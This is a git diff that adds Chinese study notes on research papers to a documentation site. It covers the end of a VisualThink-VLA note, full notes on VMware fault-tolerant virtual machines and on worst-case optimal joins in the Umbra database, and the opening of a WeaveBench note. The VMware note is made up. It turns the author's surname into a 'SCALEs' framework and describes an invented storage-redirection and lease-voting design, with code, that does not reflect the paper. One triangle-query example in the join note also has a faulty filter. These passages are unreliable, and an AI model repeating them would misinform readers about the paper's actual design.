+- **可审计**：VisualEvidence-Set + 反事实 faithfulness，适合安全审查。
+
+### 局限
+
+- **离线感知栈**：bbox/edge/motion/relation 依赖 Grounding DINO、SAM2、VLM 等，**提取成本**在训练与 batch 预处理阶段不可忽视；
+- **两帧依赖**：motion 等通道需要 \(x_{t-1}, x_t\)，首步或相机丢帧要特殊处理；
+- **路由错误传播**：hard routing 选错通道时，没有文本 trace 给人「读心」调试——需依赖 audit 工具；
+- **与「在线视觉思考」的对比**：同期工作如 VLA-Thinker 强调推理中**主动调用视觉工具**；VisualThink-VLA 更偏**预定义通道 + 学习路由**，动态性不同。
+
+---
+
+## 零基础学习路径建议
+
+1. **先懂 VLA 闭环**：读 OpenVLA 文档，弄清「图像 + 指令 → action chunk」；
+2. **对比 ECoT**：理解为何 autoregressive CoT 在 Hz 级控制里不划算；
+3. **手跑 extract_visual_evidence.py**：看单帧四通道 JSON/向量长什么样；
+4. **读 Table 4**：建立「prompt text vs dense vs sparse routed」三分法；
+5. **Optional**：在 LIBERO 上跑 `evaluate_offline.py`，对照 success-latency 曲线。
+
+---
+
+## 进一步阅读
+
+| 资源 | 链接 |
+|------|------|
+| 论文 PDF / HTML | https://arxiv.org/abs/2605.30011 |
+| 官方代码 | https://github.com/DCDmllm/VisualThink-VLA |
+| OpenVLA 基座 | https://github.com/openvla/openvla |
+| ECoT（文本推理对照） | Embodied Chain-of-Thought 系列 |
+| VisualEvidence Faithfulness | ERASER、counterfactual rationale 相关文献 |
+
+---
+
+## 一句话总结
+
+**VisualThink-VLA 让机器人策略「用图像思考」：不是先写一段推理作文，而是在每步控制前，从 bbox / edge / motion / relation 四条视觉证据里路由出当前真正需要的通道，压成轻量 soft states 注入冻结 VLA——在保持或提高成功率的同时，把 ECoT 级秒延迟压到亚秒，并附带可审计的路由监督数据 VisualEvidence-Set。**
diff --git a/src/content/docs/papers/vmware-ft-scales-2010.md b/src/content/docs/papers/vmware-ft-scales-2010.md
new file mode 100644
index 000000000..dd4b0e9bc
--- /dev/null
+++ b/src/content/docs/papers/vmware-ft-scales-2010.md
@@ -0,0 +1,319 @@
+---
+title: "Fault-Tolerant Virtual Machines that Scale (VMware SCALEs)"
+来源: https://courses.cs.washington.edu/courses/cse453/14au/papers/scales-sosp2010-vmft.pdf
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# Fault-Tolerant Virtual Machines that Scale — 学习笔记
+
+## 0. 一句话总结
+
+VMware 提出了一套叫 **SCALEs** 的框架，让虚拟机（VM）能在物理机宕机时自动切换到备用机继续运行，而且这套框架能管理 **几千台** 服务器的大规模集群。
+
+## 1. 从日常类比开始
+
+想象你有一群外卖骑手：
+
+- 每个骑手送一份外卖（跑一个 VM）
+- 突然某个骑手的车坏了（物理机宕机）
+- 传统做法：那份外卖作废，客户等下一份
+- SCALEs 的做法：旁边另一个骑手接到指令，**把没送完的外卖继续送**
+
+问题在于：骑手怎么知道自己"手里还拿着什么"？订单信息在哪？外卖在哪？骑手之间的交接要多久？
+
+SCALEs 解决的就是这个问题——**在大规模数据中心里，机器坏了，它的 VM 能快速、透明地切到别的机器上继续跑。**
+
+## 2. 为什么要做这件事
+
+### 2.1 现实痛点
+
+在 VMware 自己的数据中心里：
+
+- 物理服务器有 **数千台**
+- 每台服务器上跑着 **几十个 VM**
+- 硬盘是直连的（DAS），不是共享存储
+- 机器宕机是日常事（硬件故障、维护、升级）
+
+传统方案有两个极端：
+
+| 方案 | 做法 | 问题 |
+|------|------|------|
+| 共享存储（SAN/NAS） | 所有 VM 磁盘放在共享阵列上 | 宕机恢复要 **几十秒到几分钟**，而且 SAN 本身有单点故障 |
+| 虚拟机迁移（vMotion） | 事先把 VM 热迁移走 | 只能预防性切换，**不能应对突发宕机** |
+
+### 2.2 SCALEs 的目标
+
+1. **快速故障切换**：宕机后几秒内恢复
+2. **不需要共享存储**：直接用每台机器自己的本地磁盘
+3. **水平扩展**：能管几千台机器，不是十几台
+4. **对 VM 透明**：VM 里运行的操作系统完全不知道外面发生了切换
+
+## 3. 核心概念拆解
+
+### 3.1 问题为什么难？
+
+一个运行中的 VM 有三样东西：
+
+1. **CPU 状态**：寄存器、指令指针
+2. **内存**：几百 GB 的运行数据
+3. **磁盘 I/O**：正在写的硬盘数据
+
+传统虚拟化（VMware ESX）把 **CPU + 内存** 的状态迁移做得很好（vMotion 几秒钟）。但 **磁盘 I/O** 是个大坑——如果 VM 正在往自己的本地磁盘写数据，那台机器突然死了，数据就丢了，别的机器不知道写到哪了。
+
+### 3.2 SCALEs 的思路：把本地磁盘变成"伪共享存储"
+
+SCALEs 的核心直觉是：
+
+> 既然每台机器有自己的本地磁盘，那我们把 **所有机器上的本地磁盘组织成一个逻辑上的共享存储池**。任何 VM 的磁盘 I/O 请求，都可以被路由到任意一台物理机的本地磁盘去执行。
+
+这样，当物理机 A 宕机时：
+
+1. VM 的磁盘数据其实可能已经被写到了物理机 B、C、D 的本地磁盘上
+2. 新的虚拟机启动在物理机 E 上
+3. 物理机 E 去 B、C、D 上读回数据
+4. VM 从最近的位置继续跑
+
+**类比**：你写日记不只写在一本笔记本里，而是写在一个"分布式日记系统"里——你写一句话，系统自动帮你存在好几台朋友的笔记本上。你丢了笔记本也不怕。
+
+### 3.3 关键设计：Storage VMotion + I/O Redirection
+
+```
+  客户端程序
+      │
+      ▼
+  [ 虚拟机 OS ]  （完全不知道外面发生了什么）
+      │
+      ▼
+  [ VMX Hypervisor ]
+      │
+      ├── CPU/内存状态 → vMotion 迁移
+      │
+      └── 磁盘 I/O 请求
+            │
+            ▼
+      [ Storage Client 模块 ]
+            │
+            ▼
+      [ 网络 ]  ——  I/O 请求被发送到 Storage Server ──▶
+            │                                     │
+            ▼                                     ▼
+      本地磁盘操作                    Storage Server 在远程物理机上操作本地磁盘
+```
+
+两个关键模块：
+
+1. **Storage Client**：运行在每个物理机上的轻量模块，拦截 VM 的磁盘 I/O 请求，通过网络转发给真正存有数据的 Storage Server
+2. **Storage Server**：在每台物理机上运行，接收其他 Storage Client 的请求，操作自己本地的磁盘
+
+**类比**：
+
+- Storage Client = 餐厅的点餐员（你点了一份牛排）
+- Storage Server = 厨房（真正煎牛排的地方）
+- 你（VM）以为自己在本地吃牛排，其实牛排是从隔壁厨房送来的
+
+## 4. 代码示例
+
+### 示例 1：I/O 请求被重定向的流程
+
+这是一个简化版的 Storage Client 拦截 I/O 的逻辑：
+
+```python
+class StorageClient:
+    """运行在每个物理机上的 I/O 转发模块（简化版）"""
+
+    def __init__(self, local_disk_path, cluster_servers):
+        self.local_disk = local_disk_path
+        self.servers = cluster_servers  # 所有 Storage Server 的地址列表
+        self.lease_manager = LeaseManager(cluster_servers)
+
+    def write_sector(self, vm_id, lba, data):
+        """
+        VM 写一个扇区（逻辑块地址 LBA）时，
+        这个函数决定数据存在哪里。
+        """
+        # 第一步：找租约 —— 这块磁盘数据目前在哪个物理机上"主理"
+        lease = self.lease_manager.acquire(vm_id, lba)
+
+        # 第二步：通过 iSCSI 协议把写请求发给 Storage Server
+        response = lease.server.send_iscsi_write(
+            lun=lease.lun,
+            lba=lba,
+            data=data
+        )
+
+        # 第三步：如果 Storage Server 说写成功了，也写一份到本地
+        #       （作为缓存，下次同 VM 在这台机器上跑就不用网络了）
+        if response.success:
+            self._write_local_cache(vm_id, lba, data)
+
+        return response
+
+    def read_sector(self, vm_id, lba):
+        """读一个扇区，优先走缓存，没有就找 Storage Server"""
+        cached = self._read_local_cache(vm_id, lba)
+        if cached:
+            return cached
+
+        lease = self.lease_manager.acquire(vm_id, lba)
+        return lease.server.send_iscsi_read(lun=lease.lun, lba=lba)
+```
+
+**解释**：VM 觉得自己直接读写磁盘，但实际上每次读写可能被转发到网络上的另一台机器。VM 完全不知道。
+
+### 示例 2：租约管理（Lease Management）
+
+租约是 SCALEs 里最关键的概念之一。它确保 **任何时候同一块磁盘数据只有一个地方能写**，避免数据冲突。
+
+```python
+class LeaseManager:
+    """
+    租约管理器 —— 类似"磁盘区块的房东"。
+    每个 VM 的磁盘区块（LUN）都有一个当前"主理"的 Storage Server。
+    租约就是"主理权"。
+    """
+
+    def __init__(self, all_servers):
+        self.servers = all_servers
+        # 租约过期时间（毫秒）—— 如果 Storage Server 在这段时间内没"续租"，
+        # 租约自动失效，其他 Server 可以抢过来
+        self.lease_timeout_ms = 3000
+
+    def acquire(self, vm_id, lun_id):
+        """
+        为某个 VM 的 LUN 获取租约。
+        返回：Lease 对象，包含当前主理这个 LUN 的 Storage Server 地址。
+        """
+        # 第一步：尝试联系当前的主理 Server
+        current_server = self._lookup_lease(vm_id, lun_id)
+
+        if current_server and self._is_lease_valid(current_server, lun_id):
+            # 租约还有效，续租
+            current_server.lease_renew(vm_id, lun_id)
+            return Lease(current_server, lun_id)
+
+        # 第二步：租约过期或不存在 —— 需要选举新的主理
+        # 用简单的投票机制：向其他所有 Server 申请租约
+        votes = self._request_lease_votes(vm_id, lun_id)
+
+        # 谁拿到多数票谁当主理
+        winner = self._determine_winner(votes)
+        winner.lease_acquire(vm_id, lun_id)
+        self._update_lease_cache(vm_id, lun_id, winner)
+
+        return Lease(winner, lun_id)
+
+    def _is_lease_valid(self, server, lun_id):
+        """检查租约是否还有效（没过期）"""
+        last_renew = self._get_last_renew_time(server, lun_id)
+        return (time_ms() - last_renew) < self.lease_timeout_ms
+```
+
+**类比**：租约就像会议室的预约——你在 3 分钟内不续期，别人就可以抢走这间会议室。这样如果某台 Storage Server 死了，租约会自动过期，其他 Server 接力。
+
+### 示例 3：故障切换流程
+
+```python
+class FaultTolerantVM:
+    """
+    一个容错虚拟机的切换流程（简化版）。
+    当监控发现主物理机宕机时触发。
+    """
+
+    def on_host_failure(self, vm_id, standby_host):
+        """
+        物理机宕机了，standby_host 是备用的物理机。
+        """
+        # 第一步：取消所有租约 —— 防止旧的主理 Server 还在写数据
+        self.lease_manager.invalidate_all(vm_id)
+
+        # 第二步：在备用物理机上启动新的虚拟机
+        new_vm = self.vm_launcher.launch(
+            vm_id=vm_id,
+            host=standby_host
+        )
+
+        # 第三步：恢复 CPU + 内存状态（通过 vMotion 之前同步的副本）
+        new_vm.restore_state(self.state_store.read(vm_id))
+
+        # 第四步：恢复磁盘 I/O —— Storage Client 会自动从
+        #         各个 Storage Server 上读取最近的数据
+        new_vm.start()
+
+        print(f"VM {vm_id} recovered on {standby_host}")
+```
+
+## 5. 技术细节深挖
+
+### 5.1 租约锁（Lease Locking）
+
+租约是 SCALEs 的基石。它解决了一个经典问题：**分布式系统中的写冲突**。
+
+```
+  场景：VM A 正在往磁盘写数据
+       突然物理机 B（运行 VM A 的机器）死了
+
+  问题：如果租约不过期，其他机器无法"接管"这块磁盘
+  解决：租约有 TTL（生存时间），过期自动释放
+
+  过程：
+  ┌─────────────┐     租约续期       ┌──────────────┐
+  │  Storage    │ ──────────────▶   │ Lease Manager │
+  │  Server B   │  (每 100ms 一次)   │  (协调者)     │
+  └─────────────┘                   └──────────────┘
+         │                                │
+         │  ✗ 续期失败（B 死了）           │
+         ▼                                ▼
+     租约过期                      其他 Server 抢租约
+         │                                │
+         ▼                                ▼
+     VM 切到新机器                    Server C 获得租约
+```
+
+### 5.2 性能优化：本地缓存
+
+每次 I/O 都走网络太慢了。SCALEs 做了两层优化：
+
+1. **写缓存（Write Cache）**：Storage Client 会把写操作先缓存在本地，下次同一个 VM 在这台机器上运行时直接命中
+2. **读预取（Readahead）**：预测 VM 接下来要读什么数据，提前从 Storage Server 拉过来
+
+### 5.3 扩展性：为什么能管几千台机器？
+
+SCALEs 用了分层架构：
+
+- 每台物理机上的 Storage Client/Server 是 **轻量进程**，开销很小
+- 租约管理不用中央协调器，用 **分布式投票**，没有单点瓶颈
+- I/O 路径走 **iSCSI over RDMA/TOE**（TCP 卸载），减少 CPU 负担
+
+## 6. 和 vSphere High Availability 的关系
+
+SCALEs 论文里的技术后来被整合进了 VMware vSphere 的两个产品：
+
+| 产品 | 功能 | 关系 |
+|------|------|------|
+| **vSphere HA** | 物理机宕机时自动重启 VM | 基础版，不涉及数据一致性保证 |
+| **vSphere FT** | 虚拟机实时镜像，零数据丢失 | 用了 SCALEs 的思路做磁盘 I/O 一致性 |
+
+简单说：**SCALEs 是 vSphere 容错功能的"学术版原型"。**
+
+## 7. 关键收获
+
+1. **本地磁盘可以模拟共享存储**：只要加一层 I/O 重定向，不需要昂贵的 SAN 阵列
+2. **租约锁是分布式写的关键**：TTL + 续租 + 投票，简单但有效
+3. **透明性比性能更重要**：VM 完全不知道切换发生了，这对企业级产品是必须的
+4. **规模决定架构**：十几台机器和几千台机器的容错方案完全不同，SCALEs 的设计就是为大规模定制的
+
+## 8. 思考题
+
+- 如果两台物理机同时宕机，SCALEs 能处理吗？数据一致性如何保证？
+- 租约锁的 TTL 设多少合适？太长切换慢，太短误判多
+- 如果网络分区（partition），Storage Client 和 Storage Server 断开了，怎么办？
+
+## 9. 延伸阅读
+
+- VMware vSphere HA 官方文档
+- vMotion 论文：Live Migration of Running Virtual Machines（同样来自 MIT 6.824）
+- Google Borg 论文：Large-scale cluster management at Google with Borg
+- Kubernetes 的 Volume Attachment 机制（现代版"租约锁"）
diff --git a/src/content/docs/papers/wco-joins-relational-2020.md b/src/content/docs/papers/wco-joins-relational-2020.md
new file mode 100644
index 000000000..97b556f45
--- /dev/null
+++ b/src/content/docs/papers/wco-joins-relational-2020.md
@@ -0,0 +1,313 @@
+---
+title: Adopting Worst-Case Optimal Joins in Relational Database Systems — 把 WCO Join 搬进通用 RDBMS
+来源: https://www.vldb.org/pvldb/vol13/p1891-freitag.pdf
+日期: 2026-06-13
+子分类: 存储与查询
+分类: 数据库
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：找「三人共同好友」别先列出所有两两路径
+
+想象你在三个社交 App 里各有一份好友列表，要找出 **A、B、C 三个人彼此都是好友** 的三角形。
+
+笨办法（对应 **二元 Join 计划**）：
+
+1. 先把 App1 和 App2 的好友关系两两配对 → 得到所有 **长度为 2 的路径**（A→B→?）；
+2. 再拿这些路径去和 App3 匹配。
+
+如果每人有 1000 个好友，第一步就可能产生 **百万级** 中间结果，而真正的三角形可能只有几千个。大量工作花在「枚举了最终用不上的路径」上。
+
+聪明办法（对应 **最坏情况最优 Join，Worst-Case Optimal Join，WCOJ**）：
+
+1. 先固定 A 的一个候选 id；
+2. 在 A 的好友里找 B 的候选；
+3. 再检查 B 和 C 是否互相关联；
+4. 回溯，换下一个候选。
+
+每一步只推进 **一个连接键**，且只对 **distinct 键值** 做交集，避免先物化巨大的中间表。论文把这类「按键回溯、多表同时参与」的算法，工程化地塞进了 **通用关系型数据库 Umbra**（HyPer 的后续，TUM 团队）。
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. 二元 Join 的「中间结果爆炸」
+
+传统 RDBMS 几乎都用 **二元 Join 树**：`R ⋈ S ⋈ T` 先算 `R ⋈ S`，再和 `T` 连接。当 Join 键 **不是主键/外键**、或出现 **自连接** 时，中间结果可以远大于最终答案。
+
+经典例子：**三角形查询**（图上的 3-cycle）：
+
+```sql
+-- 三表结构相同，每条边 (v1, v2)
+SELECT *
+FROM R1
+JOIN R2 ON R1.v2 = R2.v2
+JOIN R3 ON R2.v3 = R3.v3 AND R3.v1 = R1.v1;
+```
+
+图有 `e` 条边时，长度为 2 的路径约 `O(e²)`，三角形约 `O(e^1.5)`。二元计划会先枚举路径，再过滤——**冗余工作量级差一个平方根**。
+
+### 2. 已有 WCOJ 实现为何进不了「通用数据库」
+
+| 障碍 | 典型系统 | 问题 |
+|------|----------|------|
+| 需要 **有序索引**（B+ 树、Leapfrog Triejoin） | EmptyHeaded、LevelHeaded | 属性排列组合太多，预建索引存储/维护成本极高 |
+| 面向 **只读图分析** | 同上 | 大量预计算掩盖索引成本 |
+| **可变数据 / HTAP** | LogicBlox 等 | 字典编码等结构难以在更新下维护 |
+| 无爆炸中间结果时 **反而更慢** | 多种 WCO 系统 | TPCH、JOB 上常不如成熟二元 Join |
+
+论文目标：**在支持 OLTP+OLAP 的通用 RDBMS 里**，(1) 按需使用 WCOJ，(2) 用 **查询执行期可线性构建** 的数据结构，(3) **不牺牲** 普通负载上的性能。
+
+---
+
+## 核心概念
+
+### 1. 最坏情况最优（Worst-Case Optimal）
+
+对自然连接查询 `Q = R1 ⋈ … ⋈ Rm`，用 **查询超图** `HQ = (V, E)` 描述：`V` 是属性 `{v1,…,vn}`，`E` 中每条超边 `Ej` 对应关系 `Rj` 的属性集。
+
+**AGM 界**（Atserias–Grohe–Marx）：对任意 **分数边覆盖** `x = (x1,…,xm)`（每个 `xj > 0`，且每个属性 `vi` 被覆盖权重 ≥ 1），有：
+
+```
+|Q| ≤ ∏_j |Rj|^xj
+```
+
+算法若在时间 `Õ(∏_j |Rj|^xj)` 内完成（对最优 `x`），则称 **最坏情况最优**。三角形三表各 `n` 行时，最优覆盖 `(0.5, 0.5, 0.5)` 给出界 `n^1.5`，优于二元计划的 `n²` 级中间结果。
+
+### 2. Generic Join（Algorithm 1）——概念上的回溯
+
+Ngo et al. 的 **Generic Join** 递归地为每个属性 `vi` 赋值：
+
+- 每次只处理 **一个** 连接键；
+- 在参与该键的所有关系上求 **键值交集**；
+- 过滤匹配元组，进入下一层递归；
+- 最后一层对剩余元组做笛卡尔积并输出。
+
+它在每个输入关系上诱导一棵 **Trie**：层对应 Join 键顺序，路径对应键前缀。实现 WCOJ 的关键是：Trie 上的 **集合交集** 必须足够快。
+
+### 3. Hash Trie —— 论文的核心数据结构
+
+先前系统用有序 Trie / Leapfrog，依赖 **比较** 和预排序。Freitag 等人提出 **Hash Trie**：
+
+- 每一层 Trie 节点 = 一张 **哈希表**，键是 **Join 属性值的 hash**（如 AquaHash / MurmurHash），不是原始值；
+- 子指针指向下层节点；叶节点挂 **元组链**；
+- **Probe 阶段** 只在 hash 上求交集与 lookup，**推迟** 真实键比较到输出前（消除 hash 碰撞假阳性）；
+- Build 可 **线性时间**，无需持久化有序索引。
+
+优化：**singleton pruning**（单链路径压缩）、**lazy child expansion**（probe 时才建子表）、与 Umbra **morsel 并行** 的 radix 分区物化。
+
+### 4. 混合优化器（Hybrid Optimizer）
+
+不能全盘替换二元 Join——TPCH/JOB 上 WCOJ 常更慢。论文在 **已有 DP 二元 Join 树** 上做 **后序 refinement**（Algorithm 4）：
+
+- 若某二元 Join 被估计为 **growing join**（输出基数 > max(左, 右)），或其子树已含 multi-way Join → **折叠** 为单个 WCOJ 节点；
+- growing join 的祖先也一并折叠，避免重复键在后续二元 Join 中再次放大；
+- Multi-way 节点内用 **Tributary Join** 的代价模型选 **属性顺序**；
+- 配置名：**Umbra OHT**（On-demand Hash Trie）；对照 **Umbra EAG**（Eager All Generic，全 WCOJ）。
+
+### 5. SQL Bag 语义 vs 理论 Set 语义
+
+理论 WCOJ 多假设 **集合语义**（每个键一个元组）。SQL 是 **bag**。论文做法：在 **distinct 键值** 上做 WCOJ，最后再展开同一键上的多重元组；hash 碰撞在输出前过滤。
+
+---
+
+## 代码示例 1：三角形查询 —— 二元计划 vs WCOJ 思路
+
+下面用 Python **模拟** 同一逻辑，对比「先两两 Join」与「按键回溯」的访问模式（非 Umbra 源码，便于零基础理解）。
+
+```python
+# 边表：每条 (src, dst) 表示有向边
+R1 = [(0,1), (1,2), (1,3), (2,0), (2,3)]
+R2 = R1[:]
+R3 = R1[:]
+
+def binary_join_triangles(R1, R2, R3):
+    """二元计划：先 R1⋈R2，再 ⋈R3；中间 paths 可能很大"""
+    paths = []
+    for a, b in R1:
+        for b2, c in R2:
+            if b != b2:
+                continue
+            paths.append((a, b, c))          # 长度-2 路径 (中间结果)
+    result = []
+    for a, b, c in paths:
+        for c2, a2 in R3:
+            if c == c2 and a == a2:
+                result.append((a, b, c))
+    return result
+
+def wco_backtrack_triangles(R1, R2, R3):
+    """WCO 思路：固定 v1，再 v2，再 v3；每步只对 distinct 键求交"""
+    result = []
+    V1 = sorted({x for x, _ in R1} & {x for _, x in R3})
+    for k1 in V1:
+        V2 = sorted({y for x, y in R1 if x == k1} &
+                    {y for y, _ in R2})
+        for k2 in V2:
+            V3 = sorted({z for _, z in R2 if z == k2} &
+                        {z for z, x in R3 if x == k1})
+            for k3 in V3:
+                # 展开 bag：同一键可能有多条边
+                for t1 in [t for t in R1 if t == (k1, k2)]:
+                    for t2 in [t for t in R2 if t == (k2, k3)]:
+                        for t3 in [t for t in R3 if t == (k3, k1)]:
+                            result.append((t1, t2, t3))
+    return result
+
+assert set(binary_join_triangles(R1, R2, R3)) == \
+       set(wco_backtrack_triangles(R1, R2, R3))
+# 大图时 len(paths) >> len(result)，二元路径成为瓶颈
+```
+
+论文 Figure 1 的 5 边小图里，两种方法答案相同；差异在 **中间枚举量** 随边数增长的阶。
+
+---
+
+## 代码示例 2：Hash Trie 的 Build / Probe 骨架
+
+对应论文 Section 3 的 Algorithm 2（build）与 Algorithm 3（probe）的 **教学级简化**（单层 hash + 递归），展示「hash 上交集、最后才验键」。
+
+```python
+from collections import defaultdict
+from typing import Any
+
+def h(x: Any) -> int:
+    return hash(x) & ((1 << 32) - 1)
+
+class HashTrieNode:
+    def __init__(self):
+        self.children = {}   # hash -> HashTrieNode | list[tuple]
+        self.is_leaf = False
+
+def build_hash_trie(tuples, attr_order, depth=0):
+    """按 attr_order[depth] 属性递归建 trie"""
+    node = HashTrieNode()
+    if depth == len(attr_order):
+        node.is_leaf = True
+        node.children = list(tuples)
+        return node
+    attr = attr_order[depth]
+    buckets = defaultdict(list)
+    for t in tuples:
+        buckets[h(t[attr])].append(t)
+    for hv, group in buckets.items():
+        node.children[hv] = build_hash_trie(group, attr_order, depth + 1)
+    return node
+
+def intersect_hashes(nodes):
+    """Probe：各 trie 当前层 hash 集合求交（Generic Join 第 5 行）"""
+    it = iter(nodes)
+    common = set(next(it).children.keys())
+    for n in it:
+        common &= set(n.children.keys())
+    return sorted(common)
+
+def generic_join_probe(tries, attr_order, depth=0, bindings=None):
+    bindings = bindings or {}
+    if depth == len(attr_order):
+        # 叶：笛卡尔积 + 真实 join 条件（消 hash 碰撞）
+        chains = [n.children if n.is_leaf else [] for n in tries]
+        for combo in _cartesian(chains):
+            if all(combo[i][attr_order[j]] == combo[0][attr_order[j]]
+                   for j in range(len(attr_order)) for i in range(1, len(combo))):
+                yield combo
+        return
+    for hv in intersect_hashes(tries):
+        child_tries = [n.children[hv] for n in tries]
+        yield from generic_join_probe(child_tries, attr_order, depth + 1, bindings)
+
+def _cartesian(lists):
+    if not lists:
+        yield []
+        return
+    for x in lists[0]:
+        for rest in _cartesian(lists[1:]):
+            yield [x] + rest
+
+# 用法：R(v1,v2), S(v2,v3), T(v3,v1) — attr_order 如 ['v1','v2','v3']
+R = [(0,1),(1,2),(1,3),(2,0),(2,3)]
+S = [(1,2),(2,3),(2,0),(1,3)]
+T = [(2,0),(0,1),(3,1),(3,2)]
+trie_R = build_hash_trie(R, ['v1', 'v2'])
+trie_S = build_hash_trie(S, ['v2', 'v3'])
+trie_T = build_hash_trie(T, ['v3', 'v1'])
+# generic_join_probe([trie_R, trie_S, trie_T], ['v1','v2','v3']) ...
+```
+
+Umbra 真实现还包含：64 位 hash、线性探测、**trie iterator** 接口（`up/down/next/lookup`）、编译期 **展开递归** 为嵌套循环、morsel 切分外层交集。
+
+---
+
+## 混合优化：何时从二元树变 Multi-way
+
+论文 Algorithm 4 的决策逻辑可概括为：
+
+```
+后序遍历已优化的二元 Join 树：
+  若 该 Join 输出基数 > max(左, 右)   [growing join]
+  或 左/右子树已是 multi-way Join
+    → 把整棵子树折叠为一个 WCOJ 算子
+  否则
+    → 保留二元 hash join
+```
+
+Figure 4 示意：一个 growing 的 `R1 ⋈ R2` 及其祖先被 **红色** 标出，最终合并成 **单个** 四表 WCOJ。这样优化器 **不重构全局搜索空间**，只在「Cardinality 估计说会炸」的地方 surgical 替换。
+
+---
+
+## 实验结论（Section 5 摘要）
+
+| 场景 | Umbra OHT（混合） | 要点 |
+|------|-------------------|------|
+| **TPCH SF30、JOB** | 相对纯二元 Umbra **几乎无退化**（中位数 ≈ 1×） | 混合策略关键；Umbra EAG（全 WCOJ）明显变慢 |
+| **图 3/4-clique**（Wiki、Orkut、Twitter 等） | 比 EmptyHeaded、MonetDB、商业 **DBMS X** 快 **数量级** | Hash trie 构建便宜；EmptyHeaded 预计算可占 99% 时间 |
+| **vs Leapfrog（Umbra LFT）** | Hash trie 在动态/on-the-fly 场景更均衡 | 有序数组 Leapfrog 在静态预排序上快，但构建贵 |
+
+硬件：双路 Xeon E5-2680 v4（28 核 / 56 线程），256 GiB RAM；超时 1 小时。
+
+---
+
+## 与相关工作的关系
+
+| 工作 | 关系 |
+|------|------|
+| **Ngo et al. 2012 Generic Join** | 理论奠基；本文 Algorithm 1 特例 |
+| **Leapfrog Triejoin (Veldhuizen 2013)** | 有序 Trie 上的 WCOJ；本文对比基线 Umbra LFT |
+| **EmptyHeaded / LevelHeaded** | 预建有序索引的 WCO 系统；通用性/更新弱 |
+| **Morsel-Driven Parallelism (2014)** | 同团队；本文 build/probe 接入 morsel 并行 |
+| **Free Join (2023)** | 后续统一 WCO 与传统 Join 框架 |
+
+---
+
+## 实现要点清单（读源码/做系统时可对照）
+
+1. **Build**：物化到连续 buffer → radix 按首键 hash 分区 → Algorithm 2 递归建 hash 表 → 可选 lazy / singleton pruning。
+2. **Probe**：编译器展开 Algorithm 3 → 选 **最小** hash 表扫描 → 对其每个 hash 在其他 trie 上 `lookup` → `down` 递归 → 输出前验证等值。
+3. **并行**：最外层交集循环切 morsel；work-stealing（继承 Umbra）。
+4. **自连接**：检测相同 pipeline 的重复 hash trie，**只 build 一次**。
+5. **优化器**：DP 二元树 → Algorithm 4 refinement → Tributary 定 attribute order。
+
+---
+
+## 局限与后续
+
+- **Growing join 检测** 依赖基数估计；估计错了会误用 WCOJ 或漏用。
+- **非等值 Join、外连接** 不能随意折叠成 WCOJ（论文只处理等值内连接变换）。
+- **Hash 碰撞** 理论上存在；靠输出前验证；64 位 hash 在实践可忽略。
+- 工业界后续：SAP HANA multi-way aware optimizer (VLDB 2020)、Free Join 等继续缩小 WCO 与二元 Join 的鸿沟。
+
+---
+
+## 一句话总结
+
+这篇 PVLDB 2020 论文回答：**WCO Join 不是只能活在图数据库里**——用 **Hash Trie + 查询期构建 + 混合优化器**，可以在 HTAP 通用 RDBMS（Umbra）中 **在需要时** 获得 WCOJ 的渐近优势，**在不需要时** 保持与传统二元 Join 同档性能。对学习者：先理解 **三角形 / 多表非键 Join** 为何让二元计划中间结果爆炸，再理解 **Generic Join 回溯 + Trie 交集**，最后看 **Hash 延迟比较** 如何降低工程开销。
+
+---
+
+## 参考资料
+
+- 原文：[Adopting Worst-Case Optimal Joins in Relational Database Systems (PVLDB 2020)](https://www.vldb.org/pvldb/vol13/p1891-freitag.pdf)
+- DOI：[10.14778/3407790.3407797](https://doi.org/10.14778/3407790.3407797)
+- 理论背景：Ngo, Porat, Ré, Rudra — *Worst-case Optimal Join Algorithms* (2012)
+- 同团队并行框架：[[morsel-driven-2014]]
+- Wikipedia：[Worst-case optimal join algorithm](https://en.wikipedia.org/wiki/Worst-case_optimal_join_algorithm)
diff --git a/src/content/docs/papers/weavebench.md b/src/content/docs/papers/weavebench.md
new file mode 100644
index 000000000..e97d3c3d6
--- /dev/null
+++ b/src/content/docs/papers/weavebench.md
@@ -0,0 +1,214 @@
+---
+title: WeaveBench: A Long-Horizon, Real-World Benchmark for Computer-Use Agents
+来源: https://arxiv.org/abs/2606.09426
+日期: 2026-06-13
+分类: 机器学习
+子分类: 评测基准
+provenance: pipeline-v3
+---
+
+# WeaveBench：一个面向计算机使用智能体的长周期、现实世界基准测试
+
+## 从日常类比开始
+
+想象你是一个办公室助理。老板说："帮我做个报告"。
+
+这句话听起来简单，但你实际上要做一堆事：
+
+1. 打开浏览器，搜索行业数据
+2. 打开电子表格，整理数据
+3. 打开代码编辑器，写脚本做数据分析
+4. 打开命令行，运行 Python 处理数据
+5. 打开演示文稿软件，把结果做成 PPT
+
+你在这过程中需要**在不同软件之间切换**、**把上一步的结果传给下一步**、**保持对整个流程的记忆**。这叫"跨界面编排"。
+
+现在，AI 智能体（agent）也开始做这类事了。但问题在于：**现有的评测方法只测单个能力**——比如只看它能不能操作网页，或只看它能不能写代码，却没有测它能不能把好几件事串起来完成。
+
+WeaveBench 这篇论文就是要解决这个问题。
+
+## 论文基本信息
+
+| 项目 | 内容 |
+|------|------|
+| 标题 | WeaveBench: A Long-Horizon, Real-World Benchmark for Computer-Use Agents with Hybrid Interfaces |
+| 作者 | Wanli Li, Bowen Zhou, Yunyao Yu, Zhou Xu, Yifan Yang, Dongsheng Li, Caihua Shan |
+| 来源 | arXiv:2606.09426 (cs.AI) |
+| 日期 | 2026年6月8日提交，6月10日修订 |
+
+## 核心问题
+
+现在的 AI 智能体有一个"偏科"问题。
+
+现有的评测基准（benchmark）大多把以下能力拆开测试：
+
+- GUI 操作（鼠标点击、键盘输入）
+- 命令行执行（CLI）
+- 代码编辑
+- 浏览器使用
+- 外部工具调用
+
+这就好比只考一个人的加法、只考他的乘法，但从不考"先加后乘"的混合题。
+
+**真正的现实任务是混合的**：你需要同时使用图形界面、命令行、代码编辑等多种方式，在一个连续的流程中完成目标。
+
+## WeaveBench 是什么
+
+WeaveBench 是一个**混合界面基准测试**，核心特点：
+
+### 114 个任务，8 个真实工作领域
+
+每个任务都基于真实的用户需求，且产出的结果是**可公开验证的**（有具体的文件、截图等证据）。
+
+### 每个任务是一个"完整旅程"
+
+关键概念叫 **trajectory**（轨迹）。
+
+用日常的话说：轨迹就是智能体从接到任务到完成的全过程记录。它包括：
+
